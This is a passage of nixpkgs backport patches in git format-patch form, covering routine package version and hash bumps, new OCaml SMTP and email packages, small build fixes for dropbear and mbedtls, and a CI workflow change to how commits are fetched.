         "url": "https://chromium.googlesource.com/external/smhasher.git",
@@ -796,8 +796,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "b07b4e9376489c7f7c0ff2af5eceb4261b3bb784",
-        "hash": "sha256-MnrieVgkvlkWKZ0O790gDSCrgF9c+XEk/XLHQDzMqVY="
+        "rev": "505ec917b67c535519bebec58c62a34f145dd49f",
+        "hash": "sha256-fsf8j2Spe++vSnuO8763eWWmMhYqcyybpILb7OkkXq4="
       }
     }
   },

From 13100b889d72db4187b7ca538807560c3c31939e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 12 Aug 2025 13:36:44 +0000
Subject: [PATCH 3472/4511] opensnitch: 1.7.1 -> 1.7.2

(cherry picked from commit 87c92bce52e81fb353f034013e53fed5adf8c6bb)
---
 pkgs/by-name/op/opensnitch/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/opensnitch/package.nix b/pkgs/by-name/op/opensnitch/package.nix
index d670db042cae..dc99acef4777 100644
--- a/pkgs/by-name/op/opensnitch/package.nix
+++ b/pkgs/by-name/op/opensnitch/package.nix
@@ -34,13 +34,13 @@ let
 in
 buildGoModule (finalAttrs: {
   pname = "opensnitch";
-  version = "1.7.1";
+  version = "1.7.2";
 
   src = fetchFromGitHub {
     owner = "evilsocket";
     repo = "opensnitch";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-j73wbHm8hrfm+8YVwonzU+ddzwSk9+ecucsQ0Es715k=";
+    hash = "sha256-XAR7yZjAzbMxIVGSV82agpAGwlejkILGgDI6iRicZuQ=";
   };
 
   postPatch = ''
@@ -63,7 +63,7 @@ buildGoModule (finalAttrs: {
     protoc-gen-go-grpc'
   ];
 
-  vendorHash = "sha256-IByoQuJsGORmePlv1HzvF8RSu2XhP5Sry1j3NoY2WP8=";
+  vendorHash = "sha256-6/N/E+uk6RVmSLy6fSWjHj+J5mPFXtHZwWThhFJnfYY=";
 
   preBuild = ''
     make -C ../proto ../daemon/ui/protocol/ui.pb.go

From 7eccfd5b5b9e9e0ae96cf5b85e04174d84d1c9d7 Mon Sep 17 00:00:00 2001
From: Volker Diels-Grabsch <v@njh.eu>
Date: Wed, 30 Jul 2025 10:54:34 +0200
Subject: [PATCH 3473/4511] ocamlPackages.colombe: init at 0.12.0

(cherry picked from commit 92375e4bc96f330075ff5d201fb2f5d70ab57434)
---
 .../ocaml-modules/colombe/default.nix         | 41 +++++++++++++++++++
 pkgs/top-level/ocaml-packages.nix             |  2 +
 2 files changed, 43 insertions(+)
 create mode 100644 pkgs/development/ocaml-modules/colombe/default.nix

diff --git a/pkgs/development/ocaml-modules/colombe/default.nix b/pkgs/development/ocaml-modules/colombe/default.nix
new file mode 100644
index 000000000000..d0ed2b870e54
--- /dev/null
+++ b/pkgs/development/ocaml-modules/colombe/default.nix
@@ -0,0 +1,41 @@
+{
+  alcotest,
+  angstrom,
+  buildDunePackage,
+  crowbar,
+  emile,
+  fetchurl,
+  fmt,
+  ipaddr,
+  lib,
+}:
+
+let
+  pname = "colombe";
+  version = "0.12.0";
+in
+buildDunePackage {
+  inherit pname version;
+  minimalOCamlVersion = "4.03";
+  src = fetchurl {
+    url = "https://github.com/mirage/colombe/releases/download/v${version}/colombe-${version}.tbz";
+    hash = "sha256-9g9l0wTzlXtESNeoBxhjMxlX0bRFY19T2+PN1lZ7ojE=";
+  };
+  propagatedBuildInputs = [
+    angstrom
+    emile
+    fmt
+    ipaddr
+  ];
+  doCheck = true;
+  checkInputs = [
+    alcotest
+    crowbar
+  ];
+  meta = {
+    description = "SMTP protocol according to RFC5321 without extensions";
+    homepage = "https://github.com/mirage/colombe";
+    license = lib.licenses.mit;
+    maintainers = [ lib.maintainers.vog ];
+  };
+}
diff --git a/pkgs/top-level/ocaml-packages.nix b/pkgs/top-level/ocaml-packages.nix
index 8b631b7cbc5e..928a9f74b7c8 100644
--- a/pkgs/top-level/ocaml-packages.nix
+++ b/pkgs/top-level/ocaml-packages.nix
@@ -246,6 +246,8 @@ let
 
         coin = callPackage ../development/ocaml-modules/coin { };
 
+        colombe = callPackage ../development/ocaml-modules/colombe { };
+
         color = callPackage ../development/ocaml-modules/color { };
 
         colors = callPackage ../development/ocaml-modules/colors { };

From 2aaa0ec0874cbce9d2096cb69d70aeae9e9fe48f Mon Sep 17 00:00:00 2001
From: Volker Diels-Grabsch <v@njh.eu>
Date: Wed, 30 Jul 2025 10:55:23 +0200
Subject: [PATCH 3474/4511] ocamlPackages.sendmail: init at 0.12.0

(cherry picked from commit 8c5b5260ecc17fdfd2c41e816b46ff43af91bf61)
---
 .../ocaml-modules/colombe/sendmail.nix        | 36 +++++++++++++++++++
 pkgs/top-level/ocaml-packages.nix             |  2 ++
 2 files changed, 38 insertions(+)
 create mode 100644 pkgs/development/ocaml-modules/colombe/sendmail.nix

diff --git a/pkgs/development/ocaml-modules/colombe/sendmail.nix b/pkgs/development/ocaml-modules/colombe/sendmail.nix
new file mode 100644
index 000000000000..639102d95f96
--- /dev/null
+++ b/pkgs/development/ocaml-modules/colombe/sendmail.nix
@@ -0,0 +1,36 @@
+{
+  alcotest,
+  angstrom,
+  base64,
+  buildDunePackage,
+  colombe,
+  hxd,
+  ke,
+  lib,
+  logs,
+  mrmime,
+  rresult,
+  tls,
+}:
+
+buildDunePackage {
+  pname = "sendmail";
+  inherit (colombe) version src;
+  propagatedBuildInputs = [
+    base64
+    colombe
+    logs
+    rresult
+    hxd
+    ke
+    tls
+  ];
+  doCheck = true;
+  checkInputs = [
+    alcotest
+    mrmime
+  ];
+  meta = colombe.meta // {
+    description = "Library to be able to send an email";
+  };
+}
diff --git a/pkgs/top-level/ocaml-packages.nix b/pkgs/top-level/ocaml-packages.nix
index 928a9f74b7c8..8574d7e5816b 100644
--- a/pkgs/top-level/ocaml-packages.nix
+++ b/pkgs/top-level/ocaml-packages.nix
@@ -1953,6 +1953,8 @@ let
 
         semver = callPackage ../development/ocaml-modules/semver { };
 
+        sendmail = callPackage ../development/ocaml-modules/colombe/sendmail.nix { };
+
         seq = callPackage ../development/ocaml-modules/seq { };
 
         seqes = callPackage ../development/ocaml-modules/seqes { };

From 349ad65f21821a229708e3295ea36a806e1e2e5b Mon Sep 17 00:00:00 2001
From: Volker Diels-Grabsch <v@njh.eu>
Date: Wed, 30 Jul 2025 08:56:33 +0000
Subject: [PATCH 3475/4511] ocamlPackages.letters: init at 0.4.0

(cherry picked from commit ad911115b254a2f6185c7e5ebd0469dfc4fb9841)
---
 .../ocaml-modules/letters/default.nix         | 58 +++++++++++++++++++
 pkgs/top-level/ocaml-packages.nix             |  2 +
 2 files changed, 60 insertions(+)
 create mode 100644 pkgs/development/ocaml-modules/letters/default.nix

diff --git a/pkgs/development/ocaml-modules/letters/default.nix b/pkgs/development/ocaml-modules/letters/default.nix
new file mode 100644
index 000000000000..e3588c3a21d7
--- /dev/null
+++ b/pkgs/development/ocaml-modules/letters/default.nix
@@ -0,0 +1,58 @@
+{
+  alcotest-lwt,
+  buildDunePackage,
+  ca-certs,
+  colombe,
+  containers,
+  domain-name,
+  emile,
+  fetchFromGitHub,
+  fmt,
+  lib,
+  logs,
+  lwt,
+  mrmime,
+  ptime,
+  rresult,
+  sendmail,
+  tls-lwt,
+  x509,
+}:
+
+let
+  pname = "letters";
+  version = "0.4.0";
+in
+buildDunePackage {
+  inherit pname version;
+  src = fetchFromGitHub {
+    owner = "oxidizing";
+    repo = "letters";
+    tag = version;
+    hash = "sha256-75uLg+0AVDNdQ0M4w8H7MrTYwAKMhe8R5xC4vPNGkuQ=";
+  };
+  propagatedBuildInputs = [
+    ca-certs
+    colombe
+    containers
+    domain-name
+    emile
+    fmt
+    logs
+    lwt
+    mrmime
+    ptime
+    rresult
+    sendmail
+    tls-lwt
+    x509
+  ];
+  doCheck = true;
+  checkInputs = [ alcotest-lwt ];
+  meta = {
+    description = "OCaml library for creating and sending emails over SMTP using LWT";
+    homepage = "https://github.com/oxidizing/letters";
+    license = lib.licenses.mit;
+    maintainers = [ lib.maintainers.vog ];
+  };
+}
diff --git a/pkgs/top-level/ocaml-packages.nix b/pkgs/top-level/ocaml-packages.nix
index 8574d7e5816b..219e0efe8aea 100644
--- a/pkgs/top-level/ocaml-packages.nix
+++ b/pkgs/top-level/ocaml-packages.nix
@@ -1127,6 +1127,8 @@ let
 
         letsencrypt-mirage = callPackage ../development/ocaml-modules/letsencrypt/mirage.nix { };
 
+        letters = callPackage ../development/ocaml-modules/letters { };
+
         libc = callPackage ../development/ocaml-modules/libc { };
 
         lilv = callPackage ../development/ocaml-modules/lilv {

From 89e909ea816ee24290610bb5140e3e49fcf8a510 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Tue, 12 Aug 2025 23:03:49 +0200
Subject: [PATCH 3476/4511] dolibarr: 21.0.2 -> 22.0.0

Diff: https://github.com/Dolibarr/dolibarr/compare/21.0.2...22.0.0

Changelog: https://github.com/Dolibarr/dolibarr/releases/tag/22.0.0
(cherry picked from commit 79eea558a46d8adeff65ed7a1ba3cf6d6cbb2384)
---
 pkgs/by-name/do/dolibarr/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/do/dolibarr/package.nix b/pkgs/by-name/do/dolibarr/package.nix
index 5ba589efeb2c..72eb3a240183 100644
--- a/pkgs/by-name/do/dolibarr/package.nix
+++ b/pkgs/by-name/do/dolibarr/package.nix
@@ -8,13 +8,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "dolibarr";
-  version = "21.0.2";
+  version = "22.0.0";
 
   src = fetchFromGitHub {
     owner = "Dolibarr";
     repo = "dolibarr";
     tag = finalAttrs.version;
-    hash = "sha256-H1p20dDe7YDFFk0hwyNvJ7LG9/3FF7JPo322Cgb0gYo=";
+    hash = "sha256-NEE/ZKfkJLW360ioffzBOPJIkxrV0a2F4CFEPZPbivA=";
   };
 
   dontBuild = true;

From ba1429553adc1f0bdd089ed1f2ac5aa22d2e4ab1 Mon Sep 17 00:00:00 2001
From: Jared Baur <jaredbaur@fastmail.com>
Date: Thu, 7 Aug 2025 16:38:00 -0700
Subject: [PATCH 3477/4511] dropbear: disable wtmp when using musl

WTMP is not available when using musl libc, so disable it in dropbear
builds.

(cherry picked from commit 7d2a2e33dbfb0f250efc3e01911674a2f8bd9f77)
---
 pkgs/by-name/dr/dropbear/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/dr/dropbear/package.nix b/pkgs/by-name/dr/dropbear/package.nix
index 06c2117bf19f..759805c761a2 100644
--- a/pkgs/by-name/dr/dropbear/package.nix
+++ b/pkgs/by-name/dr/dropbear/package.nix
@@ -32,6 +32,11 @@ stdenv.mkDerivation rec {
     (lib.concatStringsSep " ")
   ];
 
+  configureFlags = lib.optionals stdenv.hostPlatform.isMusl [
+    "--enable-wtmp=no"
+    "--enable-wtmpx=no"
+  ];
+
   # https://www.gnu.org/software/make/manual/html_node/Libraries_002fSearch.html
   preConfigure = ''
     makeFlagsArray=(

From 4e534b5a24e5f6044487fd5b408976e62cdbee02 Mon Sep 17 00:00:00 2001
From: Dominique Martinet <asmadeus@codewreck.org>
Date: Tue, 29 Jul 2025 18:57:05 +0900
Subject: [PATCH 3478/4511] rmfakecloud: 0.0.24 -> 0.0.25

fix compat with rm 3.20

See https://github.com/ddvk/rmfakecloud/pull/364

(note it also apparently requires adding eu.tectonic.remarkable.com to the
dozen of other redirected domains in /etc/hosts...
not sure that's worth writing in release notes?)

(cherry picked from commit 1d57cdc601753915c8468fc8e41dc1f105c79ec6)
---
 pkgs/by-name/rm/rmfakecloud/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/rm/rmfakecloud/package.nix b/pkgs/by-name/rm/rmfakecloud/package.nix
index 44a994a66945..b825c908aff0 100644
--- a/pkgs/by-name/rm/rmfakecloud/package.nix
+++ b/pkgs/by-name/rm/rmfakecloud/package.nix
@@ -10,16 +10,16 @@
 
 buildGoModule rec {
   pname = "rmfakecloud";
-  version = "0.0.24";
+  version = "0.0.25";
 
   src = fetchFromGitHub {
     owner = "ddvk";
     repo = "rmfakecloud";
     rev = "v${version}";
-    hash = "sha256-ZsYq1+Bb6SyMGdbiy5UzanDiUiFOt4uhttiPKC0ESis=";
+    hash = "sha256-dembIFEoKQEZabsl7oK8rzvV2G7nhmebfw0AGUBanYs=";
   };
 
-  vendorHash = "sha256-S2P80uhX86IVUVEoR4tZ7e6qMe7CK+6bmmjBgjXGZmo=";
+  vendorHash = "sha256-ColOCdKa/sKoLnF/3idBIEyFB2JWYM+1y5TdC/LZT4A=";
 
   # if using webUI build it
   # use env because of https://github.com/NixOS/nixpkgs/issues/358844
@@ -29,7 +29,7 @@ buildGoModule rec {
     sourceRoot = "${src.name}/ui";
     pnpmLock = "${src}/ui/pnpm-lock.yaml";
     fetcherVersion = 1;
-    hash = "sha256-VNmCT4um2W2ii8jAm+KjQSjixYEKoZkw7CeRwErff/o=";
+    hash = "sha256-uywmHN9HWKi0CaqTg9uEio2XCu6ap9v2xtbodW/6b4Q=";
   };
   preBuild = lib.optionals enableWebui ''
     # using sass-embedded fails at executing node_modules/sass-embedded-linux-x64/dart-sass/src/dart

From 2c362965dbf29b190198fb17b81ed88f32ac528f Mon Sep 17 00:00:00 2001
From: Dominic <email@dwrege.de>
Date: Mon, 11 Aug 2025 20:35:20 +0200
Subject: [PATCH 3479/4511] librewolf-bin-unwrapped: 141.0-1 -> 141.0.3-1

(cherry picked from commit 21b78fb27d78fb818d7d24c00766dd069189a55a)
---
 pkgs/by-name/li/librewolf-bin-unwrapped/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
index a72a5fad89d4..1f9c238d409e 100644
--- a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
+++ b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
@@ -37,7 +37,7 @@ let
 
   pname = "librewolf-bin-unwrapped";
 
-  version = "141.0-1";
+  version = "141.0.3-1";
 in
 
 stdenv.mkDerivation {
@@ -47,9 +47,9 @@ stdenv.mkDerivation {
     url = "https://gitlab.com/api/v4/projects/44042130/packages/generic/librewolf/${version}/librewolf-${version}-${arch}-package.tar.xz";
     hash =
       {
-        i686-linux = "sha256-nF9sGMMzLmVJapTyiU8y0ICIl26i+eloAHKJSVvSeuY=";
-        x86_64-linux = "sha256-mlvZ0faAXra6oZ4nsq6hiIgk/byoa0EmThvAkGpqQiU=";
-        aarch64-linux = "sha256-AfMmwQtfjWY0ImwQ/M+1liU3IzaxBVkIVLxSEQ7YTCw=";
+        i686-linux = "sha256-B3fTYNV6kHDo+Ae5r02oXIvcrzlnaZuOO/bAevjU3mk=";
+        x86_64-linux = "sha256-bIKqHQS4daqAQcbXHxLjWdK5MFrSg5ctzfhKe2OrO5c=";
+        aarch64-linux = "sha256-JPidpVXQ8DOwpmBUQn/aBJfydrUSfl6ekgnxCjL7Vgg=";
       }
       .${stdenv.hostPlatform.system} or throwSystem;
   };

From b02ced336f996fba1f80f82d98f37a19c4edc12b Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Wed, 13 Aug 2025 14:07:21 +0300
Subject: [PATCH 3480/4511] raycast: 1.102.3 -> 1.102.4

(cherry picked from commit 556a853c492ae69477f3bdfe9c80f95ca306ac70)
---
 pkgs/by-name/ra/raycast/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/raycast/package.nix b/pkgs/by-name/ra/raycast/package.nix
index 8c01dd5dd048..37d9ef4606eb 100644
--- a/pkgs/by-name/ra/raycast/package.nix
+++ b/pkgs/by-name/ra/raycast/package.nix
@@ -12,19 +12,19 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "raycast";
-  version = "1.102.3";
+  version = "1.102.4";
 
   src =
     {
       aarch64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=arm";
-        hash = "sha256-rb67RWmv4zJs4osGt/4D5XfV3ZT1YbwhHAhEqPrCxCk=";
+        hash = "sha256-VYwvU9DWowE+34ZBAsqIjGJGnHVfdVWGl4baL5boN8M=";
       };
       x86_64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=x86_64";
-        hash = "sha256-1CCIrqDv7h0z/49X9UrObeWmyAz++XpMdZ58ilW4wIM=";
+        hash = "sha256-LMkHWs/H5ESdp+JaUG0rlI9UVx29WYcU44t0fBAWg8A=";
       };
     }
     .${stdenvNoCC.system} or (throw "raycast: ${stdenvNoCC.system} is unsupported.");

From ff961587b954396d3ebb13e8abf0d419fb2d5275 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Wed, 13 Aug 2025 14:15:16 +0200
Subject: [PATCH 3481/4511] vencord: 1.12.9 -> 1.12.10

(cherry picked from commit f8f392daa858bed30644e728d221834077a82ce9)
---
 pkgs/by-name/ve/vencord/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index 17839da6b504..292894c3ea83 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "vencord";
-  version = "1.12.9";
+  version = "1.12.10";
 
   src = fetchFromGitHub {
     owner = "Vendicated";
     repo = "Vencord";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-dvQM4xHRcHLRxEh3+V2LKBPv+Es6T1CTbD9/oY912Ys=";
+    hash = "sha256-1id5efh9Zr2hpLnLAej2EMDQHpjdM7U5ZZBDE2p5Ljc=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {

From 8f17aaaa8c7683ef5e578a44d60eb099fef31e23 Mon Sep 17 00:00:00 2001
From: techknowlogick <git@tklk.dev>
Date: Wed, 13 Aug 2025 12:01:06 -0400
Subject: [PATCH 3482/4511] consul: 1.21.3 -> 1.21.4

Diff: https://github.com/hashicorp/consul/compare/refs/tags/v1.21.3...refs/tags/v1.21.4

Changelog: https://github.com/hashicorp/consul/releases/tag/v1.21.4
(cherry picked from commit b7801adf4d35d41aed005b62d52c875fc431cee0)
---
 pkgs/by-name/co/consul/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/co/consul/package.nix b/pkgs/by-name/co/consul/package.nix
index 4ce74f3639c1..0f6d71d1005d 100644
--- a/pkgs/by-name/co/consul/package.nix
+++ b/pkgs/by-name/co/consul/package.nix
@@ -8,7 +8,7 @@
 
 buildGoModule rec {
   pname = "consul";
-  version = "1.21.3";
+  version = "1.21.4";
 
   # Note: Currently only release tags are supported, because they have the Consul UI
   # vendored. See
@@ -22,7 +22,7 @@ buildGoModule rec {
     owner = "hashicorp";
     repo = pname;
     tag = "v${version}";
-    hash = "sha256-mWwDAlHbG0L/9xNAmUxAj2S5dDaWZaah/OWPndBRRWE=";
+    hash = "sha256-z2hyEqC8SnIac01VjB2g2+RAaZEaLlVsqBzwedx5t4Q=";
   };
 
   # This corresponds to paths with package main - normally unneeded but consul
@@ -32,7 +32,7 @@ buildGoModule rec {
     "connect/certgen"
   ];
 
-  vendorHash = "sha256-jb/oUcqMHNBlDgqYNDai2Q9ChA98JGXwFHWNxnrMpaU=";
+  vendorHash = "sha256-fWdzFyRtbTOgAapmVz1ScYEHCZUx7nfqw0y2v4aDuic=";
 
   doCheck = false;
 

From 3ef8956f7401c96b02a0c1393b1cb23fc20faf29 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 13 Aug 2025 13:53:14 +0200
Subject: [PATCH 3483/4511] workflows/check: use regular checkout

The filtered checkout we used before was a nice idea, but only worked
for small numbers of commits in a PR. It would fetch the whole history
initially, but only fetch objects on demand. This turns out to be much
too slow in a PR with 18 commits, regularly hitting the 10 minute
timeout, even when running it locally.

The new approach uses regular checkouts again. In contrast to the old
style, before we switched to the filtered checkout, this only fetches
exactly the commits we need - and all of them at once. This is
significantly faster than both other approaches, and scales much better.
A bigger number of commits doesn't have much of an effect, if any at
all.

(cherry picked from commit 0dff5ad6c5eeeb0e767513edbf4c7d3afd9154cf)
---
 .github/workflows/check.yml |  6 +++---
 ci/github-script/commits.js | 31 +++++++++++++++++++++++++++++--
 2 files changed, 32 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index 368a10eee78c..ece7a287eaae 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -38,13 +38,13 @@ jobs:
     permissions:
       pull-requests: write
     runs-on: ubuntu-24.04-arm
-    timeout-minutes: 10
+    timeout-minutes: 3
     steps:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
-          fetch-depth: 0
-          filter: tree:0
           path: trusted
+          sparse-checkout: |
+            ci/github-script
 
       - name: Install dependencies
         run: npm install bottleneck
diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index e5553c59ce7f..f22034ea788d 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -22,7 +22,7 @@ module.exports = async function ({ github, context, core, dry }) {
         '?pr=' +
         pull_number
 
-    async function handle({ sha, commit }) {
+    async function extract({ sha, commit }) {
       // Using the last line with "cherry" + hash, because a chained backport
       // can result in multiple of those lines. Only the last one counts.
       const match = Array.from(
@@ -68,6 +68,14 @@ module.exports = async function ({ github, context, core, dry }) {
           message: `${original_sha} given in ${sha} not found in any pickable branch.`,
         }
 
+      return {
+        sha,
+        commit,
+        original_sha,
+      }
+    }
+
+    function diff({ sha, commit, original_sha }) {
       const diff = execFileSync('git', [
         '-C',
         __dirname,
@@ -121,7 +129,26 @@ module.exports = async function ({ github, context, core, dry }) {
       pull_number,
     })
 
-    const results = await Promise.all(commits.map(handle))
+    const extracted = await Promise.all(commits.map(extract))
+
+    const fetch = extracted
+      .filter(({ severity }) => !severity)
+      .map(({ sha, original_sha }) => [ sha, original_sha ])
+      .flat()
+
+    if (fetch.length > 0) {
+      // Fetching all commits we need for diff at once is much faster than any other method.
+      execFileSync('git', [
+        '-C',
+        __dirname,
+        'fetch',
+        '--depth=2',
+        'origin',
+        ...fetch,
+      ])
+    }
+
+    const results = extracted.map(result => result.severity ? result : diff(result))
 
     // Log all results without truncation, with better highlighting and all whitespace changes to the job log.
     results.forEach(({ sha, commit, severity, message, colored_diff }) => {

From a6cf057596325f809244dc4c57e249e0d80baf5b Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 11 Aug 2025 16:29:42 +0300
Subject: [PATCH 3484/4511] mbedtls: restore patch to fix build on aarch64

Still necessary on aarch64.

(cherry picked from commit 3a115015cc8bb9aaa3d4e0f8b686289b87dc8a1b)
---
 pkgs/development/libraries/mbedtls/3.nix | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/pkgs/development/libraries/mbedtls/3.nix b/pkgs/development/libraries/mbedtls/3.nix
index 1713280f2123..05793b55d070 100644
--- a/pkgs/development/libraries/mbedtls/3.nix
+++ b/pkgs/development/libraries/mbedtls/3.nix
@@ -3,4 +3,16 @@
 callPackage ./generic.nix {
   version = "3.6.4";
   hash = "sha256-y5YqKtjW4IXyIZkoJvwCGC4scx0qdeV40rynHza4NUE=";
+
+  patches = [
+    # Fixes the build with GCC 14 on aarch64.
+    #
+    # See:
+    # * <https://github.com/openwrt/openwrt/pull/15479>
+    # * <https://github.com/Mbed-TLS/mbedtls/issues/9003>
+    (fetchurl {
+      url = "https://raw.githubusercontent.com/openwrt/openwrt/52b6c9247997e51a97f13bb9e94749bc34e2d52e/package/libs/mbedtls/patches/100-fix-gcc14-build.patch";
+      hash = "sha256-20bxGoUHkrOEungN3SamYKNgj95pM8IjbisNRh68Wlw=";
+    })
+  ];
 }

From 7bd099f1c3c45f8d30dbbb9ce3009b06584f6ee6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 13 Aug 2025 01:18:57 +0000
Subject: [PATCH 3485/4511] lock: 1.7.0 -> 1.7.1

(cherry picked from commit 26811afd7e1ee10604e98f76db2e04eb765a8ed6)
---
 pkgs/by-name/lo/lock/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lo/lock/package.nix b/pkgs/by-name/lo/lock/package.nix
index a6b9f8450d9f..9bb3dda26a7f 100644
--- a/pkgs/by-name/lo/lock/package.nix
+++ b/pkgs/by-name/lo/lock/package.nix
@@ -19,13 +19,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lock";
-  version = "1.7.0";
+  version = "1.7.1";
 
   src = fetchFromGitHub {
     owner = "konstantintutsch";
     repo = "Lock";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-RuxlMPboNODfSQXeGQWCpeNDI3HQNjx+ILsKAEttL6A=";
+    hash = "sha256-RYsdULExsLLp0NDa3OAf52H+WIypYZT2AUci0ytwHNw=";
   };
 
   strictDeps = true;

From a8e52c87b2048bde76a5d33ee82f75ec4a05a7c4 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Wed, 13 Aug 2025 14:28:03 +0200
Subject: [PATCH 3486/4511] komikku: 1.84.0 -> 1.85.0

(cherry picked from commit 67ee45bea0205b93f257c9ea5890e234fedccba4)
---
 pkgs/by-name/ko/komikku/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ko/komikku/package.nix b/pkgs/by-name/ko/komikku/package.nix
index 3a86a338e38b..e0c2c19262cc 100644
--- a/pkgs/by-name/ko/komikku/package.nix
+++ b/pkgs/by-name/ko/komikku/package.nix
@@ -23,7 +23,7 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "komikku";
-  version = "1.84.0";
+  version = "1.85.0";
   pyproject = false;
 
   src = fetchFromGitea {
@@ -31,7 +31,7 @@ python3.pkgs.buildPythonApplication rec {
     owner = "valos";
     repo = "Komikku";
     tag = "v${version}";
-    hash = "sha256-bzz49ILpqzOStBdRGMhBKkxI4RlVuDjCqhcIjQGGQmk=";
+    hash = "sha256-ll6F6aVOoqRxzoTrBHdkUAV8CWFVPSt8mNPRqPw4oec=";
   };
 
   nativeBuildInputs = [

From 72561e59685690441d8e5540303ae7483dc09679 Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Sun, 10 Aug 2025 10:16:50 -0400
Subject: [PATCH 3487/4511] tuba: 0.10.0 -> 0.10.1

Diff: https://github.com/GeopJr/Tuba/compare/v0.10.0...v0.10.1

Changelog: https://github.com/GeopJr/Tuba/releases/tag/v0.10.1
(cherry picked from commit 83f5f0e44e60cfb6297b710b8f919381692e80ee)
---
 pkgs/by-name/tu/tuba/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/tu/tuba/package.nix b/pkgs/by-name/tu/tuba/package.nix
index 71f7a5893875..81a566154812 100644
--- a/pkgs/by-name/tu/tuba/package.nix
+++ b/pkgs/by-name/tu/tuba/package.nix
@@ -37,13 +37,13 @@
 
 stdenv.mkDerivation rec {
   pname = "tuba";
-  version = "0.10.0";
+  version = "0.10.1";
 
   src = fetchFromGitHub {
     owner = "GeopJr";
     repo = "Tuba";
     rev = "v${version}";
-    hash = "sha256-q+AwtmvLf0AFrCK2YlRFrrXakULHLh749TV/iwapIlw=";
+    hash = "sha256-t1L1TP1G6jr/jjhBYelidobzHSrjupgus19T+cMdj0I=";
   };
 
   nativeBuildInputs = [

From 01ccba375831890f45284d4cf70cd6eceeed6f11 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 25 Jul 2025 22:06:55 +0000
Subject: [PATCH 3488/4511] fluent-bit: 4.0.3 -> 4.0.5

(cherry picked from commit 38b7e3688f23d0ed838e2c2be486b82e02b676f7)
---
 pkgs/by-name/fl/fluent-bit/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fl/fluent-bit/package.nix b/pkgs/by-name/fl/fluent-bit/package.nix
index f950612128db..2d6def07f392 100644
--- a/pkgs/by-name/fl/fluent-bit/package.nix
+++ b/pkgs/by-name/fl/fluent-bit/package.nix
@@ -29,13 +29,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "fluent-bit";
-  version = "4.0.3";
+  version = "4.0.5";
 
   src = fetchFromGitHub {
     owner = "fluent";
     repo = "fluent-bit";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-hxlvidzrEE/5xzka414CerGQ/Vi2jXUnNvO/oSxrHQQ=";
+    hash = "sha256-wxis93xdSVRHpBfl06DlOkDnch58iSpXFMAFCtOXzbU=";
   };
 
   # The source build documentation covers some dependencies and CMake options.

From b6c2a3059d23971a144dd76a6a63382d7963291c Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Thu, 10 Jul 2025 14:38:23 +1000
